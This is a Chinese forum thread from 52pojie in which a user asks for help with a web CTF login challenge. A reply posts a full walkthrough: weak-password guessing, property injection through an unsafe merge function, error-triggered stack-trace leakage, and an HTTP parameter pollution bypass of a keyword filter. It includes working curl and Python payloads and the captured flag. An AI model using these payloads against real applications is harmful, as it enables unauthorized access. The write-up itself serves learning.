吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 819|回复: 5
收起左侧

[求助] ctf前端绕过

[复制链接]
GoogleHacking 发表于 2026-2-28 16:05
本帖最后由 GoogleHacking 于 2026-2-28 18:02 编辑

题目链接:http://3000-215d6da9-e5fe-4650-816c-7f4a48c332ac.challenge.ctfplus.cn/login
bp抓包,然后发现了提示。然后我用bp爆6位数密码,全都是一个长度。用户名Author和admin都试过了。求指导
微信图片_20260228160218_297_10.png
微信图片_20260228155949_296_10.png

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

鬼魅王子 发表于 2026-2-28 17:54
本帖最后由 鬼魅王子 于 2026-2-28 18:04 编辑

这个用户名还是通过浏览器引擎搜出来的对应的Auhtor,所以我感觉缺少信息

Flag: SYC{70b7e827-5140-493e-82dc-be6fa3b8bfe3}


解题过程

Step 1: 信息收集 -- 分析登录页面

访问 /login 页面,审查页面 HTML 源码,发现两个关键线索:

线索一 -- 页面标题提示:

<p id="heading">懒得改前端了,要不抓包看看响应?</p>

这句话暗示: 前端页面本身没有展示完整信息,需要通过抓包工具 (如 Burp Suite、curl、浏览器 DevTools 的 Network 面板) 观察服务端返回的 HTTP 响应体,才能获取关键提示。

线索二 -- 前端 JS 代码:

function submitForm() {
    const username = document.getElementById('username').value;
    const password = document.getElementById('password').value;

    fetch('/login', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ username, password })
    })
    .then(response => response.json())
    .then(data => console.log(data))
    .catch(error => console.error('Error:', error));
}

从中可以得知:

  • 登录接口: POST /login
  • 请求格式: Content-Type: application/json
  • 请求体结构: {"username":"xxx","password":"xxx"}
  • 响应结果只输出到浏览器 console,页面上不会直接展示

因此如果只在浏览器上点登录按钮,看不到任何有用的反馈。必须通过抓包或 curl 直接查看响应体内容。

Step 2: 抓包获取账号密码提示

用 curl 发送一组测试账号密码,重点查看响应体:

curl -X POST http://target/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin"}'

服务端返回了静态文件 error2.html,HTML 内容如下:

<title>账号或密码错误</title>
<h1>账号和密码好像没对呢?</h1>
<h1>Username:${{Author}}</h1>
<h1>Password:len(password) = 6 弱密码&纯数字</h1>

从中提取到两个关键信息:

  • 用户名: ${{Author}} -- 这是一个模板变量的写法,意思是用户名就是题目的作者名。题目已知 author 为 Starven
  • 密码: 长度为 6,弱密码,纯数字 -- 6 位纯数字最常见的弱密码就是 123456

Step 3: 登录成功,从响应体中获取源码

使用推断出的凭据登录:

curl -X POST http://target/login \
  -H "Content-Type: application/json" \
  -d '{"username":"Starven","password":"123456"}'

服务端返回了另一个静态文件 error.html。这个页面的 HTML 源码中,出题人故意将服务端部分源码以 <h1> 标签的形式直接嵌入在响应体里,作为提示引导选手:

<h1>账密对了,但是没有flag的权限还想要flag?你好像污染没成功呢?那咋办呢?</h1>
<h1>给你一部分源码想想怎么污染呢</h1>

<h1>const { merge } = require('./utils/common.js');

    function handleLogin(req, res) {
    var geeker = new function() {
        this.geekerData = new function() {
            this.username = req.body.username;
            this.password = req.body.password;
        };
    };

    merge(geeker, req.body);

    if(geeker.geekerData.username == 'Starven' && geeker.geekerData.password == '123456'){
        if(geeker.hasFlag){
            const filePath = path.join(__dirname, 'static', 'direct.html');
            res.sendFile(filePath, ...);
        }else{
            const filePath = path.join(__dirname, 'static', 'error.html');
            res.sendFile(filePath, ...);
        }
    }else{
        const filePath = path.join(__dirname, 'static', 'error2.html');
        res.sendFile(filePath, ...);
    }
}</h1>

<h1>function merge(object1, object2) {
    for (let key in object2) {
        if (key in object2 && key in object1) {
            merge(object1[key], object2[key]);
        } else {
            object1[key] = object2[key];
        }
    }
}

module.exports = { merge }</h1>

也就是说,这些源码并非通过目录遍历或文件读取等漏洞获得,而是出题人主动写在 error.html 静态页面中,当你用正确的账密登录但缺少 hasFlag 权限时,服务端返回这个页面,其中包含了 index.jshandleLogin 函数和 utils/common.jsmerge 函数的完整代码。

Step 4: 源码审计 -- 发现原型链污染漏洞

分析泄露的源码,理清服务端处理流程:

1. 创建 geeker 对象:

var geeker = new function() {
    this.geekerData = new function() {
        this.username = req.body.username;
        this.password = req.body.password;
    };
};

此时 geeker 的结构为:

geeker
  └── geekerData
        ├── username: "Starven"
        └── password: "123456"

注意: geeker 上没有 hasFlag 属性。

2. 执行 merge:

merge(geeker, req.body);

merge 函数将 req.body 的所有属性合并到 geeker 上。关键逻辑:

  • 如果某个 key 同时存在于两个对象中 -> 递归合并
  • 如果某个 key 只存在于 req.body 中 -> 直接赋值到 geeker 上

3. 权限检查:

if (geeker.hasFlag) {
    // 返回 direct.html -> 提示去 /flag
} else {
    // 返回 error.html -> 提示没有权限
}

漏洞利用: 由于 geeker 初始没有 hasFlag 属性,而 merge 会将请求体中 geeker 不存在的属性直接赋值,因此只需在请求体中添加 "hasFlag": true,merge 执行后 geeker.hasFlag = true,绕过权限检查。

Step 5: 利用 merge 注入 hasFlag 属性

curl -X POST http://target/login \
  -H "Content-Type: application/json" \
  -d '{"username":"Starven","password":"123456","hasFlag":true}'

服务端返回 direct.html:

<h1>有了flag权限了,快去/flag看看吧</h1>

登录环节通过。

Step 6: 分析 /flag 路由 -- 通过错误信息逆向推断

访问 GET /flag 返回一个表单页面,包含输入框 name="syc",提交方式为 GET:

<form action="/flag" method="GET">
    <input type="text" id="flag" name="syc">
    <input type="submit" value="give me flag!">
</form>

服务端 /flag 路由的代码没有泄露,需要通过构造不同类型的 syc 值观察响应差异来逆向推断逻辑:

syc 值 HTTP 状态码 响应大小 响应内容 推断
无/空 200 865B 表单 HTML 无参数时返回默认表单
flag 200 865B 表单 HTML 非法 JSON,parse 失败被 catch
1abc 200 865B 表单 HTML 非法 JSON,parse 失败被 catch
1 200 73B "还是和登陆一样..." JSON.parse("1") = 1,进入逻辑
true 200 73B "还是和登陆一样..." JSON.parse("true") = true,进入逻辑
123456 200 73B "还是和登陆一样..." JSON.parse("123456") = 123456
000000 200 865B 表单 HTML 前导零非法 JSON
null 500 1153B TypeError 报错 JSON.parse("null") = null

关键突破 -- syc=null 触发 500 报错:

TypeError: Cannot read properties of null (reading 'username')
    at /var/www/html/index.js:96:14

这条报错信息揭示了三个事实:

  1. 服务端对 syc 参数执行了 JSON.parse() -- 因为 JSON.parse("null") 返回 JS 的 null
  2. 然后访问了解析结果的 .username 属性 -- null.username 抛出 TypeError
  3. 相关代码在 index.js 第 96 行

推断服务端 /flag 路由逻辑:

app.get('/flag', (req, res) => {
    try {
        const data = JSON.parse(req.query.syc);   // 第 96 行附近
        if (data.username == 'Starven' && data.password == '123456') {
            if (data.hasFlag) {
                // 返回 flag
            } else {
                res.send('就这还想要flag?');
            }
        } else {
            res.send('还是和登陆一样...');
        }
    } catch(e) {
        // JSON.parse 失败时返回表单页面
        res.sendFile('flag.html');
    }
});

Step 7: 构造 JSON 对象测试 -- 发现 hasFlag 被过滤

既然知道 syc 需要传 JSON 对象,构造请求:

# 传入正确的凭据
curl --get http://target/flag \
  --data-urlencode 'syc={"username":"Starven","password":"123456"}'
# 响应: "就这还想要flag?"  -- 凭据正确,但缺少 hasFlag

# 加上 hasFlag
curl --get http://target/flag \
  --data-urlencode 'syc={"username":"Starven","password":"123456","hasFlag":true}'
# 响应: "就这还想要flag?"  -- 仍然被拒!

直接在 JSON 中传 hasFlag:true 无效。说明 /flag 路由在 JSON.parse 之前,对 syc 原始字符串做了关键字过滤,检测到包含 hasFlag 就直接拒绝。

此时页面还有一句提示:

"还是和登陆一样, 我只是略施小计, 你知道咋绕过吗?"

  • "和登陆一样" -- 同样需要 hasFlag 属性才能获取 flag
  • "略施小计" -- 对 syc 字符串增加了 hasFlag 关键字检测

Step 8: HPP 参数污染绕过过滤 -- 最终解法

核心原理 -- Express 对同名参数的处理机制:

在 Express 框架中,当 URL 中同一个参数名出现多次时,req.query 会将其解析为数组:

// URL: ?syc=aaa&syc=bbb&syc=ccc
req.query.syc  // -> ["aaa", "bbb", "ccc"]  (数组)

// URL: ?syc=aaa
req.query.syc  // -> "aaa"  (字符串)

攻击思路: 服务端过滤逻辑可能类似:

const syc = req.query.syc;
// 只对字符串类型做关键字检测
if (typeof syc === 'string' && syc.includes('hasFlag')) {
    return res.send('就这还想要flag?');
}
// 对非字符串类型 (如数组) 调用 String() 转换后再 JSON.parse
const data = JSON.parse(String(syc));

syc 是数组时:

  • typeof syc"object",不是 "string" -- 绕过了字符串关键字检测
  • String(["aaa","bbb","ccc"]) 等价于 "aaa,bbb,ccc" -- 数组的 .toString() 用逗号拼接

构造 HPP payload:

将一个完整的 JSON 拆成三段,分别作为三个同名 syc 参数:

第1个参数: syc = {"username":"Starven"
第2个参数: syc = "password":"123456"
第3个参数: syc = "hasFlag":true}

Express 解析后: req.query.syc = ['{"username":"Starven"', '"password":"123456"', '"hasFlag":true}']

调用 String() 转换时,数组元素用逗号拼接:

{"username":"Starven","password":"123456","hasFlag":true}

这是一个合法的 JSON 字符串! 而每个单独的参数值都不包含完整的 hasFlag 关键字,成功绕过了过滤。

Step 9: 获取 Flag

使用 Python requests 发送 HPP 请求:

import requests

base = 'http://target'
s = requests.Session()

r = s.get(base + '/flag', params=[
    ('syc', '{"username":"Starven"'),
    ('syc', '"password":"123456"'),
    ('syc', '"hasFlag":true}')
])

print(r.text)
# SYC{70b7e827-5140-493e-82dc-be6fa3b8bfe3}

等效 curl 命令:

curl 'http://target/flag?syc={"username":"Starven"&syc="password":"123456"&syc="hasFlag":true}'

知识点总结

1. 抓包分析的重要性

题目明确提示 "抓包看看响应"。前端 JS 将登录结果输出到 console 而非页面,响应体中包含关键提示信息 (账密线索、源码泄露) 。如果只在浏览器上操作而不抓包,会遗漏大量信息。

2. Node.js 原型链污染

merge 函数递归合并对象时,未对 __proto__constructor 等特殊属性做过滤,攻击者可以通过控制输入对象污染 Object.prototype,影响所有 JS 对象的属性。

本题中 merge(geeker, req.body) 允许攻击者在请求体中注入任意属性到 geeker 对象,从而绕过 geeker.hasFlag 的权限检查。这是原型链污染最基础的利用形式: 属性注入

3. HTTP Parameter Pollution (HPP)

Express 框架对同名查询参数的处理机制:

// ?a=1&a=2&a=3
req.query.a  // -> ["1", "2", "3"] (数组)

// ?a=1
req.query.a  // -> "1" (字符串)

利用 typeof 检测差异和 Array.prototype.toString() 的逗号拼接特性,可以将一个包含敏感关键字的 JSON 字符串拆分成多个不含该关键字的片段,绕过基于字符串匹配的过滤。

4. 错误信息泄露辅助逆向

通过构造 syc=null 等异常输入故意触发服务端未捕获的异常,从 stack trace 中获取:

  • 源码文件路径: /var/www/html/index.js
  • 代码行号: 第 96 行访问 .username
  • 调用栈结构

这些信息帮助逆向推断出 /flag 路由的处理逻辑: 先 JSON.parse(syc) 再检查 .username

免费评分

参与人数 4吾爱币 +6 热心值 +3 收起 理由
aloser1 + 1 + 1 我很赞同!
pzx521521 + 3 + 1 我很赞同!
贤士的礼物 + 1 用心讨论,共获提升!
evea + 1 + 1 谢谢@Thanks!

查看全部评分

 楼主| GoogleHacking 发表于 2026-2-28 16:06
鬼魅王子 发表于 2026-2-28 17:14
 楼主| GoogleHacking 发表于 2026-2-28 17:33
鬼魅王子 发表于 2026-2-28 17:14
有原题吗?感觉缺少了点东西

这个就是题目http://3000-d80e6784-c8b0-4962-8 ... ge.ctfplus.cn/login,点开就是这玩意
lii744 发表于 2026-2-28 20:21
靶场:你来到了一片虚无之地
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-4-22 17:19

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表